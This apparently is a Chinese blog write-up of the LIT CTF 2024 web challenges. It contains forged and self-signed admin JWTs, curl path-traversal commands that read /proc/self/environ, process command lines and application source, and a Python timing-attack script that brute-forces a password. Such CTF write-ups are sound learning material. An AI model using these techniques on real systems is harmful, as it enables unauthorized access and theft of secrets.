LIT CTF 2024 web

anti-inspect

Curl访问得到

1
2
3
4
5
6
7
const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
while (true)
console.log(
flag,
"background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
);

LITCTF{your_fOund_teh_fI@g_94932}

jwt-1

没key的jwt
抓登录的包

1
2
3
4
5
6
7
8
9
10
11
12
GET /flag HTTP/1.1
Host: litctf.org:31781
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://litctf.org:31781
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://litctf.org:31781/login/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0MTk4MTkiLCJhZG1pbiI6dHJ1ZX0.orvLsIOWCHK7lreLD-3EQXyjnppymPnpAp16bw-okV4
Connection: close

LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}

jwt-2

js生成的jwt
附件直接给了key
const jwtSecret = "xook";
复用附件源码来生成jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const crypto = require('crypto');

// JWT 密钥
const jwtSecret = "xook";

// JWT 头部
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }),
"utf-8"
).toString("base64").replace(/=/g, "");

// 生成 JWT 的函数
const sign = (payload) => {
const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto.createHmac('sha256', jwtSecret)
.update(jwtHeader + '.' + jwtPayload)
.digest('base64')
.replace(/=/g, '');
return jwtHeader + "." + jwtPayload + "." + signature;
};

// 示例用户信息
const user = {
name: "114514", // 用户名
admin: true
};

// 使用 sign 函数生成 JWT
const token = sign(user);

// 输出生成的 JWT 令牌
console.log("Generated JWT:", token);

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0IiwiYWRtaW4iOnRydWV9.Fc+hyMRa6S2iv4pYtZTEhQ4guMBiKo8veEulUNbBI8U

traversed

dirsearch发现存在目录遍历

1
curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ --output -

得到

1
NODE_VERSION=16.20.2HOSTNAME=faddb7f3a9c2YARN_VERSION=1.22.19BUN_INSTALL=/root/.bunHOME=/rootPATH=/root/.bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app

查看cmdline

1
curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cmdline --output -

发现源码文件是index.ts
结合environ得到网站目录是/app

1
curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/index.ts --output -

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import http from "http";
import fs from "node:fs/promises";
import path from "node:path";
import url from "node:url";

const server = http.createServer(async (req, res) => {
// Parse the raw URL to get the path
const rawPath = decodeURIComponent(req.url!);

// Resolve the absolute path, allowing for parent directory access
const absPath = path.join(__dirname, "site", rawPath);

try {
const file = await fs.readFile(absPath, "utf-8");
res.writeHead(200, { "Content-Type": "text/plain" });
res.end(file);
} catch {
try {
const indexFile = await fs.readFile(path.join(absPath, "index.html"), "utf-8");
res.writeHead(200, { "Content-Type": "text/html" });
res.end(indexFile);
} catch {
res.writeHead(404, { "Content-Type": "text/plain" });
res.end("404 not found");
}
}
});

server.listen(process.env.PORT || 3000, () => {
console.log("Server started");
});

没提示flag在哪
猜测在网站目录

1
2
curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/flag.txt --output -
LITCTF{backtr@ked_230fim0}

kirbytime

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sqlite3
from flask import Flask, request, redirect, render_template
import time
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def login():
message = None
if request.method == 'POST':
password = request.form['password']
real = 'REDACTED'
if len(password) != 7:
return render_template('login.html', message="you need 7 chars")
for i in range(len(password)):
if password[i] != real[i]:
message = "incorrect"
return render_template('login.html', message=message)
else:
time.sleep(1)
if password == real:
message = "yayy! hi kirby"

return render_template('login.html', message=message)

if __name__ == '__main__':
app.run(host='0.0.0.0')

if password[i] != real[i]逐个判断,如果正确会延时1s,利用这个特性来一个个爆出来正确密码
密码是固定的
靶机只有10分钟,多跑几遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import time

url = 'http://34.31.154.223:56812/' # 替换为你的 Flask 服务器 URL
charset = string.ascii_letters + string.digits # 字符集,包含大小写字母和数字
password_length = 7 # 目标密码的长度

found_password = "kBySlaY" #把跑出来正确的加到这里再跑一遍
i = 6 #最开始为0

while 1:
for char in charset:
attempt_password = found_password + char + "-" * (password_length - len(found_password) - 1)

start_time = time.time()
response = requests.post(url, data={'password': attempt_password})
elapsed_time = time.time() - start_time

print(f"尝试密码: {attempt_password},响应时间: {elapsed_time:.4f}秒")

# 检查响应时间,超过一定阈值则表示该字符正确
if (elapsed_time > (i + 1) and elapsed_time < (i+2) ) : # 根据逐位延时情况进行调整
found_password += char
print(f"找到了第 {i + 1} 位密码字符: {char} 响应时间: {elapsed_time:.4f}秒")
i +=1
time.sleep(3)
break
else:
continue


print(f"最终找到的密码是: {found_password}")
#LITCTF{kBySlaY}

LIT CTF 2024 web
http://example.com/2024/08/13/LIT CTF 2024 web/
作者
J_0k3r
发布于
2024年8月13日
许可协议
BY J_0K3R